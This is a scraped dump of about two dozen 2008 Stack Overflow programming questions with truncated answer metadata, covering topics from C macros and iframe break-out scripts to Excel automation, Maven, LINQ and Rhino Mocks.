<p>Are C-style macro names subject to the same naming rules as identifiers? After a compiler upgrade, it is now emitting this warning for a legacy application:</p> <pre><code>warning #3649-D: white space is required between the macro name "CHAR_" and its replacement text #define CHAR_&amp; 38 </code></pre> <p>This line of code is defining an ASCII value constant for an ampersand.</p> <pre><code>#define DOL_SN 36 #define PERCENT 37 #define CHAR_&amp; 38 #define RT_SING 39 #define LF_PAR 40 </code></pre> <p>I assume that this definition (not actually referenced by any code, as far as I can tell) is buggy and should be changed to something like "CHAR_AMPERSAND"?</p>
[ { "answer_id": 369524, "author": "Adam Rosenfield", "author_id": 9530, "author_profile": "https://Stackoverflow.com/users/9530", "pm_score": 6, "selected": true, "text": "'a-z'" }, { "answer_id": 369544, "author": "Robert Gamble", "author_id": 25222, "author_profile":...
2008/12/15
[ "https://Stackoverflow.com/questions/369495", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17035/" ]
369,498
<p>Some websites have code to "break out" of <code>IFRAME</code> enclosures, meaning that if a page <code>A</code> is loaded as an <code>IFRAME</code> inside an parent page <code>P</code> some Javascript in <code>A</code> redirects the outer window to <code>A</code>.</p> <p>Typically this Javascript looks something like this:</p> <pre><code>&lt;script type="text/javascript"&gt; if (top.location.href != self.location.href) top.location.href = self.location.href; &lt;/script&gt; </code></pre> <p>My question is: As the author of the parent page <code>P</code> and not being the author of the inner page <code>A</code>, how can I prevent <code>A</code> from doing this break-out?</p> <p>P.S. It seems to me like it ought to be a cross-site security violation, but it isn't.</p>
[ { "answer_id": 2139246, "author": "radu", "author_id": 259198, "author_profile": "https://Stackoverflow.com/users/259198", "pm_score": 2, "selected": false, "text": "<script type=\"text/javascript\">\n window.onbeforeunload = function () { \n return \"Thi...
2008/12/15
[ "https://Stackoverflow.com/questions/369498", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4926/" ]
369,504
<p>We are considering Microsoft DSL toolkit for creating some abstract designers. I already did some POCs, but would like to get some opinions on the same.</p> <p>Any one here to share their experiences working with Microsoft DSL Toolkit and T4? Also, any pointers to open source DSL projects will help - Eg. Microsoft Service Factory modeling edition is heavily relying on DSL toolkit.</p> <p>As OSLO/Quadrant will take some time to get released, I think the only option we have is to rely on Microsoft DSL designer. (<a href="http://blogs.msdn.com/keith_short/archive/2008/11/06/oslo-and-the-dsl-toolkit.aspx" rel="noreferrer">See Kieth's blog on the same</a>)</p> <p>Also, here is some information I already have on DSL:</p> <p>1 - <a href="http://code.msdn.microsoft.com/DSLToolsLab" rel="noreferrer">A Nice Lab in MSDN on DSL tools</a></p> <p>2 - <a href="http://www.codeplex.com/site/search?ProjectSearchText=DSL" rel="noreferrer">A List of Projects in Codeplex using DSL toolkit</a></p>
[ { "answer_id": 661989, "author": "Glenn", "author_id": 78936, "author_profile": "https://Stackoverflow.com/users/78936", "pm_score": 0, "selected": false, "text": "CREATE TABLE [dbo].[OrderProcessStep](\n [OrderProcessCode] [int] NOT NULL,\n [PreviousProcessStatusCode] [int] NOT NU...
2008/12/15
[ "https://Stackoverflow.com/questions/369504", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45956/" ]
369,506
<p>I'm using a streamwriter to log errors</p> <p>the way it has been designed (please dont ask why) is to open a new streamwriter everytime the application has to log a message. It outputs everything to ./Logs/[current-date].txt which usually resolves to "c:\myappfolder\logs[current-date].txt"</p> <p>Everything works correctly, but after I use an open file dialog to say, "C:\home\myfolder\myfile" the streamwriter tries to write to "c:\home\myfolder\logs[current-date].txt"</p> <p>I know solutions to this problem but i just dont understand what's going on</p>
[ { "answer_id": 369513, "author": "Michael Burr", "author_id": 12711, "author_profile": "https://Stackoverflow.com/users/12711", "pm_score": 4, "selected": true, "text": "OpenFileDialog" }, { "answer_id": 369523, "author": "biozinc", "author_id": 30698, "author_profile...
2008/12/15
[ "https://Stackoverflow.com/questions/369506", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6367/" ]
369,510
<p>I have an Excel file that has a bunch of VBA and macro code in it. When I open the file in Excel I can choose not to 'enable' them - so the values in the fields all stay as they were during the last save. I need to manipulate the values as they were last saved - so I don't want the macros (which look at the current date and update values accordingly) to run.</p> <p>When I open it via our dot net code: </p> <pre><code>Dim oxlRep As Excel.Application Dim oWBRep As Excel.Workbook Dim oSheetRep As Excel.Worksheet Dim oRngRep As Excel.Range oxlRep.Open(path) </code></pre> <p>the vb code runs - throwing off the values. I've been looking for a way to open it without macros, or in 'secure' mode where the macros aren't run. If I simply double click the file and don't choose to enable macros the values are all there as I want them. </p> <p>Usually we run this code within the month that the files are created, so we haven't seen this problem in the 3 or 4 years that it has been working. Now I need to go back to some of the old files and run some archival code... </p> <p>Anyone have a suggestion?</p>
[ { "answer_id": 369583, "author": "shahkalpesh", "author_id": 23574, "author_profile": "https://Stackoverflow.com/users/23574", "pm_score": 3, "selected": true, "text": "Application.AutomationSecurity = msoAutomationSecurity.msoAutomationSecurityForceDisable\n" }, { "answer_id": 3...
2008/12/15
[ "https://Stackoverflow.com/questions/369510", "https://Stackoverflow.com", "https://Stackoverflow.com/users/37559/" ]
369,512
<p>Assume you have some objects which have several fields they can be compared by:</p> <pre><code>public class Person { private String firstName; private String lastName; private String age; /* Constructors */ /* Methods */ } </code></pre> <p>So in this example, when you ask if:</p> <pre><code>a.compareTo(b) &gt; 0 </code></pre> <p>you might be asking if a's last name comes before b's, or if a is older than b, etc...</p> <p>What is the cleanest way to enable multiple comparison between these kinds of objects without adding unnecessary clutter or overhead?</p> <ul> <li><code>java.lang.Comparable</code> interface allows comparison by one field only</li> <li>Adding numerous compare methods (i.e. <code>compareByFirstName()</code>, <code>compareByAge()</code>, etc...) is cluttered in my opinion.</li> </ul> <p>So what is the best way to go about this?</p>
[ { "answer_id": 369537, "author": "Elie", "author_id": 23249, "author_profile": "https://Stackoverflow.com/users/23249", "pm_score": 8, "selected": true, "text": "Comparator" }, { "answer_id": 369867, "author": "Steve Kuo", "author_id": 24396, "author_profile": "https:...
2008/12/15
[ "https://Stackoverflow.com/questions/369512", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24545/" ]
369,515
<p>I have a weird issue that only seems to be affecting IE 7. The web site is a 3.5 c# asp.net website that utilizes ajax and the ajax control toolkit deployed to a win 2003 server. Everything appears to be correct in the web.config. In fact, everything works perfectly in IE6 and Firefox 3. It is only in IE7 that I get the dreaded sys is undefined error.</p> <p>Also, the site appears to be working fine for IE7 on a different installation of the same code. That server is running win 2003 with very similar setups.</p> <p>Since this appears to be a server issue, are there any kind of settings that would prevent ajax-enabled sites from displaying properly in IE7?</p>
[ { "answer_id": 370106, "author": "Strelok", "author_id": 2788, "author_profile": "https://Stackoverflow.com/users/2788", "pm_score": 1, "selected": false, "text": "<add verb=\"GET,HEAD\"\n path=\"ScriptResource.axd\"\n type=\"System.Web.Handlers.ScriptResourceHandler, System.Web.Exte...
2008/12/15
[ "https://Stackoverflow.com/questions/369515", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2849/" ]
369,519
<p>Is it better to use NOT or to use &lt;> when comparing values in VBScript?<br> is this:</p> <pre><code> If NOT value1 = value2 Then </code></pre> <p>or this:</p> <pre><code> If value1 &lt;&gt; value2 Then </code></pre> <p>better?<br></p> <p>EDIT: Here is my counterargument. <br> When looking to logically negate a Boolean value you would use the NOT operator, so this is correct:</p> <pre><code> If NOT boolValue1 Then </code></pre> <p>and when a comparison is made in the case of the first example a Boolean value is returned. either the values are equal True, or they are not False. So using the NOT operator would be appropriate, because you are logically negating a Boolean value. <br></p> <p>For readability placing the comparison in parenthesis would probably help. </p>
[ { "answer_id": 369525, "author": "Joel Coehoorn", "author_id": 3043, "author_profile": "https://Stackoverflow.com/users/3043", "pm_score": 7, "selected": true, "text": "<>" }, { "answer_id": 369593, "author": "hmcclungiii", "author_id": 24333, "author_profile": "https...
2008/12/15
[ "https://Stackoverflow.com/questions/369519", "https://Stackoverflow.com", "https://Stackoverflow.com/users/38695/" ]
369,543
<p>I'm working on a small project in VB.Net where I get a input from a textbox, and need to verify that this is an e-email address.</p> <p>I found this expression "^[_a-z0-9-]+(.[_a-z0-9-]+)<em>@[a-z0-9-]+(.[a-z0-9-]+)</em>(.[a-z]{2,4})$", but i cant find any way to test if it passes.</p> <p>I want some code like: </p> <pre><code>if not txtEmail.text = regexString then something happens.. else something else happens.. end if </code></pre>
[ { "answer_id": 369554, "author": "Joel Coehoorn", "author_id": 3043, "author_profile": "https://Stackoverflow.com/users/3043", "pm_score": 6, "selected": true, "text": "System.Text.RegularExpressions.Regex" }, { "answer_id": 369628, "author": "Mick", "author_id": 12458, ...
2008/12/15
[ "https://Stackoverflow.com/questions/369543", "https://Stackoverflow.com", "https://Stackoverflow.com/users/41807/" ]
369,558
<p>I'm researching game development in Flash and Flex. I've downloaded the Flex Builder trial and have worked with older versions of Flash. I see that generally, Flex Builder is a developer's tool, and Flash is a designer's tool. It's not clear to me whether one is better suited to game development than the other, or if it's necessary to have both to effectively design games. To my mind, games are equal parts design/art and programming. Which tool is more commonly, or more intensively, used for game development?</p>
[ { "answer_id": 373666, "author": "aaaidan", "author_id": 26331, "author_profile": "https://Stackoverflow.com/users/26331", "pm_score": 3, "selected": false, "text": "Asset" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369558", "https://Stackoverflow.com", "https://Stackoverflow.com/users/34796/" ]
369,572
<p>For some reason, when using two sums on a group by, i run into the error "invalid column name 'id'. When i only do one sum, it works as expected.</p> <p>The following <strong>fails</strong> and throws the error:</p> <pre><code>from pd in PrDetails.Where(_pd =&gt; _pd.PrId == 46) group pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, pd.ProjectDetail.Wbs } into g select new { g.Key.ProgramFund, g.Key.CostCenter, g.Key.Wbs, CommittedTotal = g.Sum(_pd =&gt; _pd.PrDetailPrAmounts.Sum(_pa =&gt; _pa.CommittedAmount)), OverheadTotal = g.Sum(_pd =&gt; _pd.PrDetailPrAmounts.Sum(_pa =&gt; _pa.OverheadAmount)) } </code></pre> <p>However, the following <strong>does</strong> work fine:</p> <pre><code>from pd in PrDetails.Where(_pd =&gt; _pd.PrId == 46) group pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, pd.ProjectDetail.Wbs } into g select new { g.Key.ProgramFund, g.Key.CostCenter, g.Key.Wbs, CommittedTotal = g.Sum(_pd =&gt; _pd.PrDetailPrAmounts.Sum(_pa =&gt; _pa.CommittedAmount)) } </code></pre> <p><strong>And also</strong>, when I get the overhead total, instead of the committed total, it works great:</p> <pre><code>from pd in PrDetails.Where(_pd =&gt; _pd.PrId == 46) group pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, pd.ProjectDetail.Wbs } into g select new { g.Key.ProgramFund, g.Key.CostCenter, g.Key.Wbs, OverheadTotal = g.Sum(_pd =&gt; _pd.PrDetailPrAmounts.Sum(_pa =&gt; _pa.OverheadAmount)) } </code></pre> <p>Why can't i get the committed total and overhead total at the same time?</p> <p>I have our basic table structure below:</p> <h2>PrDetails</h2> <p>Id (int)<br> PrId (int)<br> ProgramFund (linq class)<br> ProjectDetail (linq class) </p> <h2>ProjectDetails</h2> <p>Id (int)<br> CostCenter (linq class)<br> Wbs (linq class) </p> <h2>PrAmounts</h2> <p>Id (int)<br> PrDetailId (int)<br> CommittedAmount (decimal)<br> OverheadAmount (decimal)</p>
[ { "answer_id": 369880, "author": "Cameron MacFarland", "author_id": 3820, "author_profile": "https://Stackoverflow.com/users/3820", "pm_score": 2, "selected": true, "text": "from pd in PrDetails.Where(_pd => _pd.PrId == 46)\ngroup pd by new { pd.ProgramFund, pd.ProjectDetail.CostCenter, ...
2008/12/15
[ "https://Stackoverflow.com/questions/369572", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5203/" ]
369,573
<p>I have a strongly typed user control ("partial") and I'd like to be able to pass it some additional information from its containing view. For example, I have view that's bound to a product class and i have a partial that also is strongly typed to that same model, but I also need to pass an additional parameter for imageSize to my partial. I'd like to be able to do something like this:</p> <pre><code>&lt;% Html.RenderPartial("_ProductImage", ViewData.Model, new { imageSize = 100 }); %&gt; </code></pre> <p>As far as I know there is no way to do this, but I'm hoping that someone smarter than me may have a solution ;)</p>
[ { "answer_id": 369584, "author": "Craig Stuntz", "author_id": 7714, "author_profile": "https://Stackoverflow.com/users/7714", "pm_score": 4, "selected": true, "text": "class PartialModel \n{\n public int ImageSize { get; set; }\n public ParentModelType ParentModel { get; set; }\n}\...
2008/12/15
[ "https://Stackoverflow.com/questions/369573", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4541/" ]
369,594
<p>I have a WebBrowser control which is being instantiated dynamically from a background STA thread because the parent thread is a BackgroundWorker and has lots of other things to do.</p> <p>The problem is that the Navigated event never fires, unless I pop a MessageBox.Show() in the method that told it to .Navigate(). I shall explain:</p> <pre><code>ThreadStart ts = new ThreadStart(GetLandingPageContent_ChildThread); Thread t = new Thread(ts); t.SetApartmentState(ApartmentState.STA); t.Name = "Mailbox Processor"; t.Start(); protected void GetLandingPageContent_ChildThread() { WebBrowser wb = new WebBrowser(); wb.Navigated += new WebBrowserNavigatedEventHandler(wb_Navigated); wb.Navigate(_url); MessageBox.Show("W00t"); } protected void wb_Navigated(object sender, WebBrowserNavigatedEventArgs e) { WebBrowser wb = (WebBrowser)sender; // Breakpoint HtmlDocument hDoc = wb.Document; } </code></pre> <p>This works fine; but the messagebox will get in the way since this is an automation app. When I remove the MessageBox.Show(), the WebBrowser.Navigated event never fires. I've tried supplanting this line with a Thread.Sleep(), and by suspending the parent thread.</p> <p>Once I get this out of the way, I intend to Suspend the parent thread while the WebBrowser is doing its job and find some way of passing the resulting HTML back to the parent thread so it can continue with further logic.</p> <p><em>Why does it do this? How can I fix it?</em></p> <p>If someone can provide me with a way to fetch the content of a web page, fill out some data, and return the content of the page on the other side of the submit button, all against a webserver that doesn't support POST verbs nor passing data via QueryString, I'll also accept that answer as this whole exercise will have been unneccessary.</p> <hr> <p><strong>Solution:</strong> I ended up just not using the BackgroundWorker and slave thread at all at the suggestion of the team architect... Though at the expense of responsiveness :(</p>
[ { "answer_id": 369623, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "WebBrowser" }, { "answer_id": 371347, "author": "Rick", "author_id": 45405, "author_profile": "htt...
2008/12/15
[ "https://Stackoverflow.com/questions/369594", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11112/" ]
369,595
<p>I have found ASP.Net PageMethods very handy and easy to use, but I have just started developing using MVC and am not sure how to use them?</p> <p>What is the equivalent of <code>PageMethods.MyFunction()</code> in MVC where MyFunction is a Controller action?</p> <p>I know I can use the <code>Json</code> function to return a value, but how do I call the action from the client?</p>
[ { "answer_id": 369730, "author": "Dan Esparza", "author_id": 19020, "author_profile": "https://Stackoverflow.com/users/19020", "pm_score": 4, "selected": true, "text": "$.getJSON(\"/controller/action\", function(json)\n{\n alert(\"JSON Data: \" + json.users[3].name);\n});\n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369595", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18107/" ]
369,602
<p>Is there an easy way to delete an element from an array using PHP, such that <code>foreach ($array)</code> no longer includes that element?</p> <p>I thought that setting it to <code>null</code> would do it, but apparently it does not work.</p>
[ { "answer_id": 369608, "author": "Konrad Rudolph", "author_id": 1968, "author_profile": "https://Stackoverflow.com/users/1968", "pm_score": 13, "selected": true, "text": "unset()" }, { "answer_id": 369612, "author": "Eran Galperin", "author_id": 10585, "author_profile...
2008/12/15
[ "https://Stackoverflow.com/questions/369602", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11522/" ]
369,626
<p>I'm in a situation where I have the class "progress" - trouble is that I'm interested in incorporating some open source that also has the class "progress". I remember very vaguely some reference to an app that's able to inspect the various files in a development for a given class name ... and either return it ... or change it. Have you experience of this?</p> <p>thanks</p>
[ { "answer_id": 369638, "author": "JW.", "author_id": 4321, "author_profile": "https://Stackoverflow.com/users/4321", "pm_score": 0, "selected": false, "text": "$name = \"prog\";\n$name .= \"ress\";\n$cls = new $name();\n" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369626", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,636
<p>I have a <a href="http://en.wikipedia.org/wiki/Pseudorandom_number_generator" rel="nofollow noreferrer">pseudorandom number generator</a> (PRNG) with nice properties which uses six <code>UInt32</code>s as state. I need to come up with a reasonable way to seed it. Two obvious possibilities are: 1) generate six random numbers using <code>System.Random</code> and use them as seeds; 2) generate two <code>GUID</code>s with <code>Guid.NewGuid()</code>. Which would be better?</p> <p>I do <em>not</em> need cryptographic security.</p>
[ { "answer_id": 369646, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "UInt32" }, { "answer_id": 14943768, "author": "tvwxyz", "author_id": 1356618, "author_profile": "h...
2008/12/15
[ "https://Stackoverflow.com/questions/369636", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9204/" ]
369,637
<p>is there an easy way of importing data from a mysql/odbc datasource into an excel spreadsheet? </p> <p>The user should be able to select some values from drop downs (e..g date range, branch name etc.) and the values from the dropdown should be used to populate (prepared) SQL statements. The results should be displayed in the Excel file. </p> <p>Ideally there would be a "save snapshot" menu item that would convert the dynamic excel file (with sql statements saved) as a static excel file thus reducing the exposure of internals (e.g. sql) to external ressources.</p> <p>Thanks</p>
[ { "answer_id": 369674, "author": "Fionnuala", "author_id": 2548, "author_profile": "https://Stackoverflow.com/users/2548", "pm_score": 0, "selected": false, "text": "Set cn = CreateObject(\"ADODB.Connection\")\nSet rs = CreateObject(\"ADODB.Recordset\")\n\nstrCon = \"Driver={MySQL ODBC 3...
2008/12/15
[ "https://Stackoverflow.com/questions/369637", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
369,639
<p>Is there anything I can add to <code>pom.xml</code> that will copy the generated <code>.war</code> file from the <code>target</code> directory to my Tomcat's <code>webapps</code> directory?</p>
[ { "answer_id": 372470, "author": "sal", "author_id": 13753, "author_profile": "https://Stackoverflow.com/users/13753", "pm_score": 2, "selected": false, "text": "<build>\n ....\n <plugins>\n <plugin>\n <artifactId>maven-antrun-plugin</artifactId>\n <executio...
2008/12/15
[ "https://Stackoverflow.com/questions/369639", "https://Stackoverflow.com", "https://Stackoverflow.com/users/33178/" ]
369,678
<p>I'm looking for a reliable design for handling assignments that have asynchronous requests involved. To further clarify, I have a class which handles Data Management. It is a singleton and contains a lot of top level data for me which is used throughout my iPhone application.</p> <p>A view controller might do something such as the following:</p> <pre><code>users = [MySingleton sharedInstance].users; </code></pre> <p>MySingleton will then override the synthesized users getter and see if it is set. If it is not set, it will speak to a Connection Manager (a wrapper for NSURLConnection and its delegate methods) which fires off an asynchronous request, and this is where problems begin. I cannot guarantee when "users" will be available. I could change the request to synchronous, but that will directly effect user experience, especially in a mobile environment where bandwidth is limited already.</p> <p>I need to be able to at some point, have some kind of locking/synchronization code going on in my getter that doesn't return users until it is available or is nil. </p> <p>Once the NSURLConnection has the data available, it needs to callback something/somewhere with a response object and let the getter know the data is available.. whether it's failed or succeeded.</p> <p>Any suggestions on handling this?</p>
[ { "answer_id": 370368, "author": "amrox", "author_id": 4468, "author_profile": "https://Stackoverflow.com/users/4468", "pm_score": 2, "selected": false, "text": "- (id)getUsersAndNotifyObject:(id)object selector:(SEL)selector\n" }, { "answer_id": 1071883, "author": "Luke Redp...
2008/12/15
[ "https://Stackoverflow.com/questions/369678", "https://Stackoverflow.com", "https://Stackoverflow.com/users/40882/" ]
369,697
<p>I'm looking for a command line to remove all view-private files and directories from a ClearCase view on Windows. I have Cygwin available as well.</p> <p>The script available at <a href="http://www.ibm.com/developerworks/rational/library/4687.html" rel="noreferrer">this article</a> is not quite what I want, since I'm working with a large number of files and want to delete them all without having to select each one.</p>
[ { "answer_id": 369704, "author": "Paul Tomblin", "author_id": 3333, "author_profile": "https://Stackoverflow.com/users/3333", "pm_score": 2, "selected": false, "text": "ct lsprivate | xargs rm\n" }, { "answer_id": 369713, "author": "mbyrne215", "author_id": 5241, "au...
2008/12/15
[ "https://Stackoverflow.com/questions/369697", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5241/" ]
369,702
<p>What is the best way to create a DataTable with the same structure as a table in my SqlServer database? At present, I am using SqlDataAdapter.Fill() with a query that brings back the columns but no rows. That's works fine, but it seems klutzy. </p> <p>Is there a better way?</p>
[ { "answer_id": 369723, "author": "BFree", "author_id": 15861, "author_profile": "https://Stackoverflow.com/users/15861", "pm_score": 1, "selected": false, "text": " Type type = typeof(Product); //or whatever the type is\n DataTable table = new DataTable();\n ...
2008/12/15
[ "https://Stackoverflow.com/questions/369702", "https://Stackoverflow.com", "https://Stackoverflow.com/users/19267/" ]
369,736
<p>I am trying to hide the button based on the user's role using the following code: </p> <pre><code> &lt;asp:Button ID="btndisplayrole" Text="Admin Button" Visible='&lt;%= WebApplication1.SiteHelper.IsUserInRole("Admin") %&gt;' runat="server" OnClick="DisplayRoleClick" /&gt; </code></pre> <p>But when I run the above code I get the following error message: </p> <p>Cannot create an object of type 'System.Boolean' from its string representation '&lt;%= WebApplication1.SiteHelper.IsUserInRole("Admin") %>' for the 'Visible' </p>
[ { "answer_id": 369746, "author": "shahkalpesh", "author_id": 23574, "author_profile": "https://Stackoverflow.com/users/23574", "pm_score": -1, "selected": false, "text": "Visible='<%= WebApplication1.SiteHelper.IsUserInRole(\"Admin\").ToString() %>'\n" }, { "answer_id": 369756, ...
2008/12/15
[ "https://Stackoverflow.com/questions/369736", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3797/" ]
369,739
<p>For the following example:</p> <p><a href="http://developer.yahoo.com/yui/examples/tabview/frommarkup_clean.html" rel="nofollow noreferrer">http://developer.yahoo.com/yui/examples/tabview/frommarkup_clean.html</a></p> <p>I would like to make the tabs right aligned and still retain the current order.</p> <p>I'm certain its something simple - just too close to it to see the solution.</p>
[ { "answer_id": 369747, "author": "da5id", "author_id": 14979, "author_profile": "https://Stackoverflow.com/users/14979", "pm_score": 0, "selected": false, "text": "<div id=\"demo\" class=\"yui-navset\">\n" }, { "answer_id": 369787, "author": "Kevin Le - Khnle", "author_id...
2008/12/15
[ "https://Stackoverflow.com/questions/369739", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2621/" ]
369,755
<p>My users will import through cut and paste a large string that will contain company names. </p> <p>I have an existing and growing MYSQL database of companies names, each with a unique company_id.</p> <p>I want to be able to parse through the string and assign to each of the user-inputed company names a fuzzy match.</p> <p>Right now, just doing a straight-up string match, is also slow. ** Will Soundex indexing be faster? How can I give the user some options as they are typing? **</p> <p>For example, someone writes:</p> <pre> Microsoft -> Microsoft Bare Essentials -> Bare Escentuals Polycom, Inc. -> Polycom </pre> <p>I have found the following threads that seem similar to this question, but the poster has not approved and I'm not sure if their use-case is applicable:</p> <p><a href="https://stackoverflow.com/questions/309479/how-to-find-best-fuzzy-match-for-a-string-in-a-large-string-database">How to find best fuzzy match for a string in a large string database</a></p> <p><a href="https://stackoverflow.com/questions/322701/matching-inexact-company-names-in-java">Matching inexact company names in Java</a></p>
[ { "answer_id": 369834, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 7, "selected": true, "text": "SOUNDEX()" } ]
2008/12/15
[ "https://Stackoverflow.com/questions/369755", "https://Stackoverflow.com", "https://Stackoverflow.com/users/43980/" ]
369,758
<p>I have a shell script with this code:</p> <pre><code>var=`hg st -R "$path"` if [ -n "$var" ]; then echo $var fi </code></pre> <p>But the conditional code always executes, because <code>hg st</code> always prints at least one newline character.</p> <ul> <li>Is there a simple way to strip whitespace from <code>$var</code> (like <code>trim()</code> in <a href="http://en.wikipedia.org/wiki/PHP" rel="noreferrer">PHP</a>)?</li> </ul> <p>or</p> <ul> <li>Is there a standard way of dealing with this issue?</li> </ul> <p>I could use <a href="http://en.wikipedia.org/wiki/Sed" rel="noreferrer">sed</a> or <a href="http://en.wikipedia.org/wiki/AWK" rel="noreferrer">AWK</a>, but I'd like to think there is a more elegant solution to this problem.</p>
[ { "answer_id": 369768, "author": "Paul Tomblin", "author_id": 3333, "author_profile": "https://Stackoverflow.com/users/3333", "pm_score": 5, "selected": false, "text": " var=`hg st -R \"$path\" | sed -e 's/ *$//'`\n" }, { "answer_id": 369795, "author": "Community", "aut...
2008/12/15
[ "https://Stackoverflow.com/questions/369758", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28835/" ]
369,760
<p>I googled for this for a while but can't seem to find it and it should be easy. I want to append a CR to then end of an XML file that I am creating with a Transformer. Is there a way to do this></p> <p>I tried the following but this resulted in a blank file?</p> <pre><code> Transformer xformer = TransformerFactory.newInstance().newTransformer(); xformer.setOutputProperty(OutputKeys.DOCTYPE_SYSTEM, "file:///ReportWiz.dtd"); xformer.transform(source, result); OutputStream writer = new FileOutputStream(file); Byte b = '\n'; writer.write(b); writer.close();</code></pre>
[ { "answer_id": 369800, "author": "Tom Hawtin - tackline", "author_id": 4725, "author_profile": "https://Stackoverflow.com/users/4725", "pm_score": 1, "selected": false, "text": "FileOutputStream" }, { "answer_id": 369805, "author": "erickson", "author_id": 3474, "auth...
2008/12/15
[ "https://Stackoverflow.com/questions/369760", "https://Stackoverflow.com", "https://Stackoverflow.com/users/673/" ]
369,762
<p>I learned that by trying to use the tablesorter plug in from jquery the table needs to use the &lt; thead> and<br> &lt; tbody> tags. I am using an html table, and I use the runat="server" attribute because I need to bind data to the table on the server side. but by using the runat= server attribute the code is rendered in a different way..instead of the view source looking like this which is what is in my markup view :</p> <pre><code>&lt;table id="Table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;1st&lt;/th&gt; &lt;th&gt;2nd&lt;/th&gt; &lt;th&gt;3rd&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt;&lt;td&gt;1st value&lt;/td&gt;&lt;td&gt;2nd value&lt;/td&gt;&lt;td&gt;3rd value&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;1st value&lt;/td&gt;&lt;td&gt;2nd value&lt;/td&gt;&lt;td&gt;3rd value&lt; /td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;1st value&lt;/td&gt;&lt;td&gt;2nd value&lt;/td&gt;&lt;td&gt;3rd value&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;1st value&lt;/td&gt;&lt;td&gt;2nd value&lt;/td&gt;&lt;td&gt;3rd value&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; </code></pre> <p>it looks like that but without the &lt; thead> and &lt; tbody> tags.. which will make the table sorter not work? can someone help me fix this? " .NET 3.5 sp1 is the version I am using"</p>
[ { "answer_id": 369819, "author": "Russ Cam", "author_id": 1831, "author_profile": "https://Stackoverflow.com/users/1831", "pm_score": 4, "selected": true, "text": "protected void Page_Load(object sender, EventArgs e)\n{ \nif (this.gridView.Rows.Count > 0)\n{\ngridView.UseAccessibleHeader...
2008/12/15
[ "https://Stackoverflow.com/questions/369762", "https://Stackoverflow.com", "https://Stackoverflow.com/users/39809/" ]
369,764
<p>I use the <a href="http://oss.coresecurity.com/projects/pcapy.html" rel="nofollow noreferrer">pcapy</a>/<a href="http://oss.coresecurity.com/projects/impacket.html" rel="nofollow noreferrer">impacket</a> library to decode network packets in Python. It has an IP decoder which knows about the syntax of IPv4 packets but apparently no IPv6 decoder.</p> <p>Does anyone get one? </p> <p>In a private correspondance, the Impacket maintainers say it may be better to start with <a href="http://www.secdev.org/projects/scapy/" rel="nofollow noreferrer">Scapy</a></p>
[ { "answer_id": 386496, "author": "bortzmeyer", "author_id": 15625, "author_profile": "https://Stackoverflow.com/users/15625", "pm_score": 2, "selected": false, "text": "for packet in traffic:\n if packet.type == ETH_P_IPV6 or packet.type == ETH_P_IP:\n ip = packet.payload\n if (ip...
2008/12/15
[ "https://Stackoverflow.com/questions/369764", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15625/" ]
369,777
<p>I've have searched on this and it seems to be a catch all, unfortunately everything I've read doesn't help figure it out. Here is the class:</p> <pre><code>public interface IMockInterface { MockClass MockedMethod(); MockClass MockThis(); } public class MockClass : IMockInterface { public virtual MockClass MockedMethod() { MockClass returnValue; returnValue = new MockClass(); returnValue.SomeMessage = "Not mocked"; return returnValue; } public MockClass MockThis() { MockClass mock; MockClass returnValue; mock = new MockClass(); return mock.MockedMethod(); } } </code></pre> <p>And the test:</p> <pre><code>public void MockTest_Internal() { MockClass mainClass; MockClass returnedClass; IMockInterface mockProvider; mainClass = new MockClass(); mockProvider = repository.StrictMock&lt;IMockInterface&gt;(); Expect.Call(mockProvider.MockedMethod()) .Return(new MockClass { SomeMessage = "Mocked" }); repository.ReplayAll(); returnedClass = mainClass.MockThis(); provider.AssertWasCalled(item =&gt; item.MockedMethod()); Assert.IsTrue(returnedClass.SomeMessage == "Mocked"); } </code></pre> <p><strong>And have also tried and doesn't work</strong></p> <p>But I keep getting this exception:</p> <p>Rhino.Mocks.Exceptions.ExpectationViolationException:<br> IMockInterface.MockedMethod(); Expected #1, Actual #0</p> <p>Now from what I've read this would suggest either the method was called with different than expected parameters OR the method was never called but was expected to be called. This isn't the case for the test.</p> <p>Side Note: This is my first time really using Rhino.Mocks without some in house code so I am basically picking it up as I go. There could be something really stupid here...</p> <p><strong>This was the old test commented on, but is not what I should have been using:</strong></p> <pre><code>public void MockTest_Internal() { MockClass mainClass; MockClass returnedClass; IMockInterface mockProvider; mainClass = new MockClass(); var provider = MockRepository.GenerateStub&lt;IMockInterface&gt;(); provider.Stub(item =&gt; item.MockedMethod()) 